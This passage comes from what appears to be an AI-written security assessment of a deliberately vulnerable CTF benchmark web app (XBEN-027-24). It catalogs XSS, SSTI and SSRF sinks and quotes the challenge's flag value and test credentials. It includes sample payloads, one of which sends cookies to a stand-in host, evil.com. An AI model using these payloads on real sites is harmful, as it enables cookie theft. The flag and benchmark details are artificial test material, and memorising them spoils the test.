Apache configuration sets `Access-Control-Allow-Origin: *` (httpd.conf:11), allowing any domain to make authenticated cross-origin requests. This undermines cookie-based authentication and enables cross-site attacks.

**Security Implications:**
The missing security headers leave the application vulnerable to multiple client-side attacks (XSS, clickjacking, MIME confusion) that would be mitigated by proper HTTP security headers. The wildcard CORS policy allows malicious sites to make authenticated requests on behalf of logged-in users.

### External Dependencies

**Dependency Analysis:**

The application uses 4 external Python packages defined in `requirements.txt`:
1. **flask==3.0.3** (latest stable, released 2024)
2. **flask-sqlalchemy==3.1.1** (latest stable)
3. **pymysql==1.1.0** (latest stable)
4. **pyjwt==2.8.0** (latest stable)

**Positive Security Finding:** All dependencies are pinned to specific versions and are current as of 2024. No known high-severity CVEs exist in these specific versions.

**Known Security Considerations:**

**PyJWT 2.8.0:**
- Historically vulnerable to algorithm confusion attacks (CVE-2017-11424, CVE-2022-29217)
- Version 2.8.0 includes fixes for these issues
- However, the application disables signature verification, negating all JWT security features

**PyMySQL 1.1.0:**
- Pure Python MySQL client (slower than C-based alternatives)
- Generally secure when used with parameterized queries (which SQLAlchemy provides)
- No recent critical CVEs

**Flask 3.0.3 & Flask-SQLAlchemy 3.1.1:**
- Modern, actively maintained frameworks
- Include security patches for previous versions
- Secure by default when used correctly (auto-escaping, parameterized queries)

**Missing Security Dependencies:**
- No `flask-talisman` for security headers
- No `flask-wtf` for CSRF protection
- No `flask-limiter` for rate limiting
- No `bcrypt` or `argon2` for password hashing
- No `python-dotenv` for environment variable management (though .env file exists)

**Third-Party Service Dependencies:**

The application has **no external service dependencies**:
- No payment gateways
- No email services (SMTP, SendGrid, etc.)
- No SMS/2FA services
- No cloud storage (S3, GCS)
- No CDN
- No external APIs
- No monitoring/logging SaaS (Sentry, Datadog, etc.)

**Security Implications:**
The limited dependency footprint reduces attack surface, which is positive. However, the absence of security-focused libraries (password hashing, CSRF protection, rate limiting) indicates these critical features are not implemented at all rather than being provided by alternative means.

### Monitoring & Logging

**CRITICAL FINDING: No Security Monitoring**

The application has **no security event logging, monitoring, or alerting** beyond basic Apache access logs. This creates complete blindness to security incidents, making detection and response impossible.

**Logging Implementation:**

**Application-Level Logging:** NONE
- No Python `logging` module usage
- No custom logging implementation
- No authentication event logging
- No authorization failure logging
- No error logging beyond Flask defaults

**Web Server Logging:** BASIC ACCESS LOGS ONLY
- Apache ErrorLog: `${APACHE_LOG_DIR}/error.log`
- Apache AccessLog: `${APACHE_LOG_DIR}/access.log combined`
- Logs HTTP requests only (IP, method, URL, status, user-agent)
- No custom log format for security events

**Database Logging:** DEFAULT (NOT CONFIGURED)
- MySQL 5.7 default logging (general log disabled by default)
- No query logging
- No slow query log
- No audit plugin

**Security Events NOT Logged:**
- Failed login attempts
- Successful authentications
- Account lockouts (no lockout mechanism exists)
- Authorization failures
- Suspicious JWT token usage
- Rate limit violations (no rate limiting)
- Input validation failures (no validation)
- Configuration changes
- Privilege escalations
- Database query errors

**No Monitoring Infrastructure:**
- No log aggregation (ELK stack, Splunk, CloudWatch)
- No security information and event management (SIEM)
- No intrusion detection system (IDS)
- No anomaly detection
- No alerting mechanism
- No real-time dashboard

**Security Implications:**
Without logging, security incidents are undetectable. An attacker could enumerate users, brute-force passwords, forge JWT tokens, access the flag, and exfiltrate data—all without leaving any forensic evidence beyond basic HTTP access logs. Incident response and forensic investigation are impossible. This violates compliance requirements (GDPR Article 32, PCI-DSS Requirement 10) and prevents detection of ongoing attacks.

---

## 7. Overall Codebase Indexing

The XBEN-027-24 Trading Platform codebase follows a **compact monolithic structure** typical of Flask applications, with a clear separation between application logic, infrastructure configuration, and deployment automation. The repository is organized into three primary directories: `app/` containing the Flask application and Apache configuration, `mysql/` housing database initialization files, and root-level orchestration files (`docker-compose.yml`, `Makefile`, `.env`).

**Primary Application Structure (`app/website/`):**

The Flask application follows a **flat package structure** rather than a layered or feature-based architecture. The `app/website/app/` directory contains all application code in a single namespace with files organized by technical concern:

- **`__init__.py`**: Application factory containing Flask initialization, secret configuration (hardcoded secrets), database connection setup, and user seeding logic. This 55-line file includes the flag loading mechanism (reading `/flag` file and storing in database) and creates two test users: `test:test` (ID 10032) and `flag:<random_password>` (ID 10019 containing the CTF flag in the `last_name` field).

- **`routes.py`**: All HTTP endpoint handlers in a single 92-line file. Contains the complete authentication flow (login username validation, password verification, JWT generation, dashboard access, logout) and the critical JWT signature verification bypass at line 81. Also includes the after-request handler for cache-control headers.

- **`models.py`**: SQLAlchemy ORM model definitions, currently containing only the `User` model (11 lines). The User model defines six fields including the plaintext password field with no hashing.

- **`db.py`**: Database initialization module (3 lines) creating the SQLAlchemy instance and declarative base for ORM models.

- **`templates/`**: Jinja2 HTML templates using Bootstrap 4 styling. Contains three templates (`login.html`, `password.html`, `dashboard.html`) that implement the two-step authentication UI. Templates use Jinja2 auto-escaping for XSS protection but expose user-controlled data in multiple contexts.

- **`static/css/`**: Static assets directory containing only `bootstrap.min.css` (Bootstrap 4 CSS framework). No custom CSS, JavaScript, or images.

**Infrastructure Configuration:**

The application's deployment infrastructure is defined through Docker containerization with dual-container orchestration:

- **`app/Dockerfile`**: Multi-stage build using `debian:bullseye-slim` as the base image. Installs Apache2, mod_wsgi-py3, Python3, and pip. The Dockerfile includes the flag injection mechanism at line 21 (`RUN echo -n $FLAG > /flag`) which writes the CTF flag to the container filesystem. The build process copies application files to `/var/www/trading_platform/`, installs Python dependencies, and configures Apache to run in the foreground.

- **`app/trading_platform-httpd.conf`**: Apache 2 virtual host configuration for port 80 with WSGI integration. Contains critical security misconfigurations including `Access-Control-Allow-Origin: *` (line 11) and `Options Indexes FollowSymLinks` (line 15) enabling directory listing. Defines WSGI daemon process and mount points for Flask application.

- **`app/website/trading_platform.wsgi`**: WSGI entry point script that imports and exposes the Flask application instance.

- **`mysql/Dockerfile`**: Database container definition using the outdated `mysql:5.7.15` base image. Sets MySQL root password via environment variable and database name.

- **`docker-compose.yml`**: Service orchestration file defining two services (`db` and `trading_platform`) with dependency management, health checks, and port mapping. The health check command at line 7 exposes the database password in the process list.

**Build and Deployment Automation:**

The repository includes a `Makefile` that imports an external `../common.mk` file (not present in the repository), suggesting this is part of a larger CTF challenge framework with shared build targets. The `.env` file in the repository root contains the CTF flag value (`FLAG="flag{795a8930-4d69-4e12-9bf0-d6dad2f990d6}"`) which is passed as a build argument to Docker.

**Code Organization Impact on Security:**

The flat, minimal structure makes the codebase easy to understand but concentrates security logic in a few files. The `routes.py` file is the single point of authentication control, meaning the JWT signature bypass vulnerability at line 81 compromises the entire security model. The `__init__.py` file contains all secrets and configuration, making credential exposure impact widespread. This tight coupling means a single vulnerability often has cascading effects across the application.

The absence of a `config.py` or environment-based configuration system means all settings (including secrets) are hardcoded in application initialization. There is no separation of concerns between configuration, business logic, and security controls. The lack of modular structure (no `services/`, `middleware/`, `utils/` directories) indicates minimal architectural planning beyond basic MVC separation.

**Deployment Model:**

The application is designed for **containerized deployment** via Docker Compose with no production-ready deployment automation. The single `docker-compose.yml` file serves all environments (development, testing, production) with no environment-specific overrides. The application expects to run behind Apache as a reverse proxy with mod_wsgi, but no production-grade infrastructure (nginx, gunicorn, load balancers, SSL terminators) is configured. The database is co-located with the application in the same Docker Compose stack with no external persistence or backup strategy.

**Security Discovery Considerations:**

For penetration testers, the compact codebase structure means critical vulnerabilities are concentrated in `routes.py` (authentication), `__init__.py` (secrets), and `models.py` (data model). The single entry point (`routes.py`) and lack of modular security components mean bypassing authentication at one endpoint effectively bypasses it application-wide. The flag storage mechanism spans multiple files (`.env` → Dockerfile → `/flag` → `__init__.py` → database), creating multiple attack vectors for flag extraction.

---

## 8. Critical File Paths

All file paths referenced in this analysis, organized by security domain:

### Configuration Files
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/.env`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/docker-compose.yml`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/trading_platform-httpd.conf`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/Dockerfile`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/mysql/Dockerfile`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/Makefile`

### Authentication & Authorization
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/app/routes.py` (Lines 21-92: all auth logic, JWT bypass at line 81)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/app/__init__.py` (Lines 11, 13: hardcoded secrets; lines 39-55: user seeding with flag)

### API & Routing
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/app/routes.py` (Lines 21-34: login, 38-42: logout, 46-69: password, 73-92: dashboard)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/run.py`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/trading_platform.wsgi`

### Data Models & DB Interaction
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/app/models.py` (Lines 5-11: User model with plaintext password at line 8)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/app/db.py`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/app/__init__.py` (Line 16: database connection string)

### Dependency Manifests
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/requirements.txt`

### Sensitive Data & Secrets Handling
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/app/__init__.py` (Lines 11, 13, 16: all secrets)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/.env` (Line 1: CTF flag)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/Dockerfile` (Line 21: flag file creation)

### Middleware & Input Validation
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/app/routes.py` (Lines 10-16: cache-control headers only)

### Templates (XSS Analysis)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/app/templates/login.html` (Line 1: test credentials in HTML comment, line 26: error message rendering)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/app/templates/password.html` (Lines 26: first_name rendering, 28-29: attribute context, 30: password input)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/app/templates/dashboard.html` (Line 43: stored XSS sink with user.last_name)

### Static Assets
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/app/static/css/bootstrap.min.css`

### Infrastructure & Deployment
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/docker-compose.yml`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/Dockerfile`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/mysql/Dockerfile`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/trading_platform-httpd.conf`

### CTF Flag Storage
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/.env` (Flag source)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/Dockerfile` (Line 21: creates /flag file in container)
- `/flag` (File path inside Docker container)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/app/__init__.py` (Lines 39-55: flag loading and database storage)
- Database: `User` table, `last_name` field, `user_id=10019`

---

## 9. XSS Sinks and Render Contexts

### Network Surface Scope Confirmation

All XSS sinks reported below are in **network-accessible web pages** served via HTTP on port 80. No XSS sinks exist in out-of-scope components (build tools, CLI scripts, or local-only utilities).

### XSS Risk Assessment Summary

The application uses **Jinja2 templating with auto-escaping enabled by default** for `.html` template files, providing baseline XSS protection. However, multiple user-controlled data points are rendered in templates across different contexts (HTML body, HTML attributes, form values), creating potential XSS vectors if auto-escaping is disabled, bypassed, or if developers use unsafe filters.

**Overall XSS Exploitability: LOW to MEDIUM** - Auto-escaping provides protection in current configuration, but the application's design pattern of rendering user-controlled database content creates latent XSS risks if security controls are weakened.

### HTML Body Context Sinks

#### **1. Reflected XSS: Error Message in Login Page**

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/app/templates/login.html`  
**Line Number:** 26  
**Render Context:** HTML Body (inside `<div class="alert alert-danger">` element)

**Data Flow:**
```
User Input: URL parameter ?error=...
  → routes.py:23: error = request.args.get('error')
  → routes.py:33-34: render_template('login.html', error='User not found') OR error=error
  → login.html:26: {{ error }}
  → HTTP Response: <div class="alert alert-danger">USER_INPUT_HERE</div>
```

**Code Snippet:**
```html
{% if error %}
    <div class="alert alert-danger" role="alert">{{ error }}</div>
{% endif %}
```

**User Input Sources:**
- URL parameter: `GET /?error=<payload>`
- Application-generated errors: `'User not found'` (hardcoded)

**Exploitability:** **LOW**  
**Justification:** Jinja2 auto-escaping is enabled by default for `.html` files, so the `{{ error }}` syntax automatically HTML-escapes the error message. An attacker supplying `?error=<script>alert(1)</script>` would see the output rendered as escaped HTML entities: `&lt;script&gt;alert(1)&lt;/script&gt;`, which displays as harmless text.

**Attack Vector Example:**
```
GET /?error=<img src=x onerror=alert(document.cookie)>
```
**Actual Output:**
```html
<div class="alert alert-danger">&lt;img src=x onerror=alert(document.cookie)&gt;</div>
```
**Result:** Harmless text displayed, no script execution.

**Remediation:** While currently protected, best practice would be to validate the error parameter against an allowlist of expected error messages rather than reflecting arbitrary user input.

---

#### **2. Reflected XSS: First Name in Password Page**

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/app/templates/password.html`  
**Line Number:** 26  
**Render Context:** HTML Body (inside `<p class="mt-3 text-center">` element)

**Data Flow:**
```
User Input: URL path /password/<username>
  → routes.py:48: user = User.query.filter_by(username=username).first()
  → routes.py:69: render_template('password.html', first_name=user.first_name, ...)
  → password.html:26: {{ first_name }}
  → HTTP Response: <p>Welcome, USER_FIRST_NAME!</p>
```

**Code Snippet:**
```html
<p class="mt-3 text-center">Welcome, {{ first_name }}!</p>
```

**User Input Sources:**
- Database field: `User.first_name` (controlled if registration exists)
- Indirect user control: Username in URL path influences which user's first_name is retrieved

**Exploitability:** **LOW**  
**Justification:** The first_name value comes from the database, not directly from user input. In the current implementation, users are seeded during application startup with hardcoded first names (`'Test'` for test user, `'Flag'` for flag user). There is no registration endpoint, so attackers cannot inject malicious content into the first_name field. Even if registration existed, Jinja2 auto-escaping would protect against XSS.

**Attack Vector Example (hypothetical if registration existed):**
If an attacker could register with `first_name = "<img src=x onerror=alert(1)>"`, the output would still be escaped:
```html
<p>Welcome, &lt;img src=x onerror=alert(1)&gt;!</p>
```

**Remediation:** Implement input validation on all user profile fields during registration/update to restrict allowed characters and prevent stored XSS vectors.

---

#### **3. Stored XSS: User Full Name in Dashboard**

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/app/templates/dashboard.html`  
**Line Number:** 43  
**Render Context:** HTML Body (inside `<h5 class="card-title">` element)

**Data Flow:**
```
User Authentication → JWT token with user_id
  → routes.py:88: user = User.query.get(data['user_id'])
  → routes.py:89: render_template('dashboard.html', user=user)
  → dashboard.html:43: {{ user.first_name }} {{ user.last_name }}
  → HTTP Response: <h5>Welcome, FIRST_NAME LAST_NAME</h5>
```

**Code Snippet:**
```html
<h5 class="card-title">Welcome, {{ user.first_name }} {{ user.last_name }}</h5>
```

**User Input Sources:**
- Database fields: `User.first_name` and `User.last_name`
- Controlled via JWT `user_id` manipulation (JWT signature not verified)
- **CRITICAL:** Flag user's `last_name` contains the CTF flag value

**Exploitability:** **MEDIUM (if registration exists) / LOW (current implementation)**  
**Justification:** This is a **stored XSS sink** that would be high-risk if user registration were enabled, allowing attackers to inject malicious content into their profile that executes when other users view their dashboard. However, in the current implementation:
1. No registration endpoint exists—users are seeded with hardcoded names
2. Jinja2 auto-escaping protects against XSS even if malicious content were in the database
3. The flag user's last_name contains `flag{...}` which is safe to render

**Attack Vector Example (hypothetical stored XSS):**
If an attacker could update their profile with:
```
last_name = "<script>fetch('//evil.com?c='+document.cookie)</script>"
```
When another user views the attacker's dashboard, the output would be:
```html
<h5>Welcome, Attacker &lt;script&gt;fetch('//evil.com?c='+document.cookie)&lt;/script&gt;</h5>
```
**Result:** Escaped and rendered as text, not executed.

**Remediation:** 
1. Implement strict input validation on profile fields (alphanumeric + basic punctuation only)
2. Use Content Security Policy (CSP) to prevent inline script execution
3. Consider using additional output encoding for defense in depth

---

### HTML Attribute Context Sinks

#### **4. Reflected XSS: Username in Hidden Input Value**

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/app/templates/password.html`  
**Line Number:** 28  
**Render Context:** HTML Attribute (`value` attribute of hidden input field)

**Data Flow:**
```
User Input: URL path /password/<username>
  → routes.py:48: User.query.filter_by(username=username).first()
  → routes.py:69: render_template('password.html', username=username, ...)
  → password.html:28: value="{{ username }}"
  → HTTP Response: <input value="USERNAME_HERE" hidden>
```

**Code Snippet:**
```html
<input type="text" class="form-control" id="username" name="username" value="{{ username }}" hidden>
```

**User Input Sources:**
- URL path parameter: `/password/<username>`
- Direct user control via URL manipulation

**Exploitability:** **MEDIUM**  
**Justification:** HTML attribute context XSS requires breaking out of the `value="..."` attribute enclosure. An attacker could attempt to inject a double-quote followed by event handlers:
```
GET /password/" onload="alert(1)
```

However, Jinja2 auto-escaping in attribute context escapes double-quotes as `&quot;`, preventing breakout:
```html
<input value="&quot; onload=&quot;alert(1)" hidden>
```

**Attack Vector Example:**
```
GET /password/" onclick="alert(document.cookie)
```
**Actual Output:**
```html
<input value="&quot; onclick=&quot;alert(document.cookie)" hidden>
```
**Result:** Attribute breakout prevented by escaping, no XSS execution.

**Note:** Even if the escaping were bypassed, the `hidden` attribute means the input is not visible, reducing the exploitability (though click events could still be triggered if the input is programmatically made visible).

**Remediation:** Remove the username from hidden fields and rely on server-side session data. There is no legitimate reason to send the username back to the client in a hidden field.

---

#### **5. Reflected XSS: User ID in Hidden Input Value**

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/app/templates/password.html`  
**Line Number:** 29  
**Render Context:** HTML Attribute (`value` attribute of hidden input field)

**Data Flow:**
```
User Input: URL path /password/<username> (indirect)
  → routes.py:48: user = User.query.filter_by(username=username).first()
  → routes.py:69: render_template('password.html', user_id=user.id, ...)
  → password.html:29: value="{{ user_id }}"
  → HTTP Response: <input value="USER_ID_HERE" hidden>
```

**Code Snippet:**
```html
<input type="text" class="form-control" id="user_id" name="user_id" value="{{ user_id }}" hidden>
```

**User Input Sources:**
- Database field: `User.id` (integer)
- Indirect user control: Username in URL determines which user's ID is retrieved

**Exploitability:** **LOW**  
**Justification:** The user_id is an integer from the database, not user-controlled text. Even if an attacker manipulates the database to store non-integer values in the `id` field, Jinja2 escaping would prevent attribute breakout. The value is also retrieved from the server-side database, not directly from URL parameters.

**Security Issue (Not XSS):** The hidden user_id field represents an insecure direct object reference (IDOR) pattern, though the application doesn't directly use this client-supplied value (it re-queries the database in the POST handler). Best practice would be to not expose user IDs to the client at all.

**Remediation:** Remove user_id from the form and rely on session data. Use server-side lookups based on session-stored user_id rather than client-supplied values.

---

### JavaScript Context Sinks

**NO JAVASCRIPT CONTEXT SINKS FOUND**

The application does not use JavaScript in any of its templates. There are no `<script>` tags, inline event handlers with dynamic content, or JavaScript-based rendering. All interactivity is pure HTML forms with server-side processing.

**Verified Absence:**
- No `<script>` tags in `login.html`, `password.html`, or `dashboard.html`
- No inline event handlers (`onclick`, `onerror`, etc.) with user-controlled data
- No JavaScript template rendering (no Vue.js, React, Angular)
- No `eval()`, `Function()`, `setTimeout()` with user data
- No dynamic script src attributes

**Security Implication:** The absence of JavaScript reduces the XSS attack surface significantly. Client-side XSS vectors like DOM-based XSS, prototype pollution, and JavaScript template injection are not applicable to this application.

---

### CSS Context Sinks

**NO CSS CONTEXT SINKS FOUND**

The application does not dynamically inject user-controlled data into CSS. All styling is provided by the static Bootstrap CSS file (`/static/css/bootstrap.min.css`) with no inline styles or dynamic CSS generation.

**Verified Absence:**
- No `<style>` tags with user-controlled content
- No inline `style` attributes with dynamic values
- No CSS-in-JS or styled-components
- No `element.style` manipulation in JavaScript (no JavaScript exists)

---

### URL Context Sinks

**NO URL CONTEXT SINKS FOUND**

The application does not dynamically construct URLs from user input for client-side navigation. All redirects are server-side using Flask's `redirect(url_for(...))` pattern with hardcoded route names.

**Verified Absence:**
- No `window.location` manipulation (no JavaScript)
- No dynamic `href` attributes with user-controlled URLs
- No `<a>` tags with user-supplied destinations
- No `<form action>` attributes with user input
- All redirects use `url_for('route_name')` with internal routes only

**Security Note:** The application's redirect pattern is secure against open redirect vulnerabilities because it uses Flask's `url_for()` helper which generates internal application URLs, not arbitrary user-supplied URLs.

---

### Server-Side Template Injection (SSTI)

#### **Potential SSTI Vector: Unused Import**

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/app/routes.py`  
**Line Number:** 1  
**Issue:** Dangerous import without usage

**Code Snippet:**
```python
from flask import Flask, render_template, render_template_string, redirect, url_for, request, session, Response
```

**Finding:** The `render_template_string` function is imported but **never used** in the application. This function is extremely dangerous if used with user input because it compiles and renders Jinja2 templates from string input, enabling Server-Side Template Injection (SSTI).

**Exploitability:** **N/A (not currently exploitable)**  
**Justification:** The import exists but the function is never called. All template rendering uses `render_template()` with pre-defined template files (`login.html`, `password.html`, `dashboard.html`). There is no dynamic template compilation.

**Attack Vector Example (if render_template_string were used):**
```python
# Dangerous code (NOT present in current application)
return render_template_string(request.args.get('template'))
```
Attacker payload:
```
GET /?template={{config.items()}}
```
Would expose Flask configuration including secret keys.

**Remediation:** **Remove the unused import** to prevent future developers from using this dangerous function:
```python
from flask import Flask, render_template, redirect, url_for, request, session, Response
```

---

### SQL Injection Analysis

**NO SQL INJECTION SINKS FOUND**

The application uses **SQLAlchemy ORM with parameterized queries** throughout, providing protection against SQL injection attacks. All database queries use ORM methods (`.filter_by()`, `.query.get()`, `.first()`) which automatically parameterize input.

**Safe Query Patterns:**

1. **Username Lookup (routes.py:27):**
```python
user = User.query.filter_by(username=username).first()
```
SQLAlchemy generates: `SELECT * FROM user WHERE username = ?` with parameter binding.

2. **Credential Validation (routes.py:55):**
```python
user = User.query.filter_by(username=username, password=password).first()
```
SQLAlchemy generates: `SELECT * FROM user WHERE username = ? AND password = ?`

3. **User Retrieval by ID (routes.py:88):**
```python
user = User.query.get(data['user_id'])
```
SQLAlchemy generates: `SELECT * FROM user WHERE id = ?`

**Verification:**
- No raw SQL queries using `db.execute()` or `text()` found
- No string concatenation or f-strings in query construction
- No dynamic table or column names from user input
- All queries use ORM methods with automatic parameterization

**Security Note:** While SQLAlchemy protects against SQL injection, the application still has critical vulnerabilities (plaintext passwords, JWT bypass) that make SQL injection defense less relevant. An attacker can access all database content via JWT forgery without needing SQL injection.

---

### Command Injection Analysis

**NO COMMAND INJECTION SINKS FOUND**

The application does not execute system commands. A comprehensive search found no instances of command execution functions in network-accessible code.

**Verified Absence:**
- No `os.system()` calls
- No `os.popen()` usage
- No `subprocess` module imports or usage
- No `eval()` or `exec()` with user input
- No shell command construction

**Scope:** This analysis covers only network-accessible application code. Build scripts (Dockerfile, Makefile) and CI/CD processes are out of scope as they are not accessible via HTTP requests.

---

### XSS Prevention Recommendations

1. **Keep Jinja2 Auto-Escaping Enabled:** Never use `{% autoescape false %}` blocks or the `| safe` filter with user-controlled data.

2. **Implement Content Security Policy (CSP):** Add strict CSP header to prevent inline script execution:
```
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:
```

3. **Remove Unnecessary User Data from Client:** Stop sending user_id and username in hidden form fields. Use server-side session data exclusively.

4. **Input Validation on Registration:** If user registration is added, implement strict allowlists for first_name, last_name, and email fields (alphanumeric + basic punctuation only).

5. **Remove Dangerous Imports:** Delete `render_template_string` from imports to prevent future SSTI vulnerabilities.

6. **Add Security Headers:** Implement X-XSS-Protection and X-Content-Type-Options headers for defense in depth.

---

## 10. SSRF Sinks

### Network Surface Scope Confirmation

This analysis covers **only network-accessible web application endpoints** served via HTTP on port 80. Out-of-scope items (build scripts, local utilities, Docker container internals) were excluded from SSRF sink analysis.

### SSRF Risk Assessment Summary

**FINDING: NO SSRF SINKS FOUND**

After comprehensive analysis of all Python source code, dependencies, and network-accessible endpoints, **no Server-Side Request Forgery (SSRF) vulnerabilities were identified**. The application does not make outbound HTTP requests, does not fetch remote resources, and does not use user input to construct URLs or network connections.

**Overall SSRF Exploitability: NONE** - The application's limited functionality (authentication and simple database queries) does not include features commonly associated with SSRF vulnerabilities.

---

### Detailed Analysis by SSRF Category

#### 1. HTTP(S) Clients - NOT FOUND

**Dependencies Checked:**
```
flask==3.0.3
flask-sqlalchemy==3.1.1
pymysql==1.1.0
pyjwt==2.8.0
```

**Analysis:**
- No `requests` library in requirements.txt or imports
- No `urllib`, `urllib3`, or `http.client` imports in any Python file
- No `aiohttp`, `httpx`, `httplib`, or third-party HTTP clients
- No outbound HTTP/HTTPS request capabilities

**Files Analyzed:**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/app/routes.py`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/app/__init__.py`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/app/models.py`
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/app/db.py`

**Conclusion:** No HTTP client code exists in the application.

---

#### 2. Raw Sockets & Connect APIs - NOT FOUND

**Search Conducted:**
- Searched for `socket` module imports
- Searched for `socket.socket()`, `socket.connect()` patterns
- Checked for custom TCP/UDP client implementations
- Analyzed for low-level network operations

**Result:** No socket-level network programming found. The application uses only high-level Flask request/response handling and SQLAlchemy database connections (which use connection pooling internally but not exposed to user control).

---

#### 3. URL Openers & File Includes - HARDCODED ONLY

**Finding:** Single `open()` call with hardcoded path

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/app/__init__.py`  
**Line Number:** 39

**Code Snippet:**
```python
with open('/flag', 'r') as file:
    flag_content = file.read()
```

**Analysis:**
- File path is **hardcoded** as `/flag` (no user input)
- Used during application startup to read CTF flag from container filesystem
- Not accessible via any HTTP endpoint
- No file operation accepts user-supplied paths

**User Input Analysis:**
- No `request.form`, `request.args`, or `request.cookies` values used in file paths
- No URL parameters influence file operations
- No file upload handlers that accept URLs

**Conclusion:** This file operation is not an SSRF vector because the path is completely hardcoded with no user control.

---

#### 4. Redirect & "Next URL" Handlers - ALL HARDCODED

**All Redirect Locations Analyzed:**

**File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-027-24/app/website/app/routes.py`

1. **Line 30:** `redirect(url_for('password', username=username))`
   - Uses Flask's `url_for()` to generate internal URL
   - Username parameter is URL-encoded automatically by Flask
   - Destination is internal route, not external URL

2. **Line 42:** `redirect(url_for('login'))`
   - Hardcoded internal route name
   - No user input in redirect destination

3. **Line 51:** `redirect(url_for('login', error='User not found'))`
   - Internal route with hardcoded error message
   - No user-controlled destination

4. **Line 62:** `redirect(url_for('dashboard'))`
   - Hardcoded internal route
   - No external redirect possible

5. **Line 67:** `redirect(url_for('login', error='Incorrect password'))`
   - Internal route with hardcoded error
   - No user-controlled destination

6. **Line 92:** `redirect(url_for('login'))`
   - Hardcoded internal route

**URL Parameter Analysis:**
- No "next", "return_url", "callback", "redirect_uri", or similar parameters in any route
- No `request.args.get('next')` or post-authentication redirect logic
- All redirects use `url_for()` which generates internal Flask URLs, not arbitrary URLs

**Open Redirect Analysis:**
The application is **NOT vulnerable to open redirect** because all redirect destinations are internal routes generated by Flask's routing system. An attacker cannot redirect users to external malicious sites.

**Conclusion:** All redirects are internal and secure. No SSRF or open redirect vectors exist in redirect handling.

---

#### 5. Headless Browsers & Render Engines - NOT FOUND

**Search Conducted:**
- Checked requirements.txt for Selenium, Puppeteer equivalents (e.g., `pyppeteer`)
- Searched for PDF generation libraries (`pdfkit`, `weasyprint`, `reportlab`)
- Looked for screenshot services or HTML-to-image converters
- Analyzed for server-side rendering with external content

**Result:** No headless browser automation, PDF generation, or server-side rendering with external URLs. The application serves simple HTML templates with no dynamic content fetching.

---

#### 6. Media Processors - NOT FOUND

**Search Conducted:**
- Checked for Pillow/PIL library usage
- Searched for ImageMagick bindings (`wand`, `pgmagick`)
- Looked for FFmpeg or video processing libraries
- Analyzed for image optimization services

**Result:** No media processing capabilities. The application does not handle image uploads, video conversion, or any media manipulation. The only static file is `bootstrap.min.css` (pre-uploaded, not processed).

---

#### 7. Link Preview & Unfurlers - NOT FOUND

**Search Conducted:**
- Searched for OpenGraph scraping
- Checked for oEmbed endpoint usage
- Looked for URL metadata extractors or link preview generators
- Analyzed for social media card generators

**Result:** No link preview, URL unfurling, or metadata fetching features. The application does not fetch or display external URL content.

---

#### 8. Webhook Testers & Callback Verifiers - NOT FOUND

**Search Conducted:**
- Searched for webhook ping functionality
- Checked for callback URL validation
- Looked for health check notification systems
- Analyzed for event delivery mechanisms

**Result:** No webhook testing, callback verification, or outbound notification features. The application does not send HTTP requests to user-supplied URLs for validation or notification purposes.

---

#### 9. SSO/OIDC Discovery & JWKS Fetchers - NOT FOUND

**Search Conducted:**
- Checked for OpenID Connect discovery endpoints
- Analyzed PyJWT usage for JWKS fetching
- Searched for OAuth authorization server metadata fetching
- Looked for SAML metadata retrievers

**Analysis:**
The application uses **PyJWT 2.8.0** for local JWT token generation and validation only. The JWT implementation:
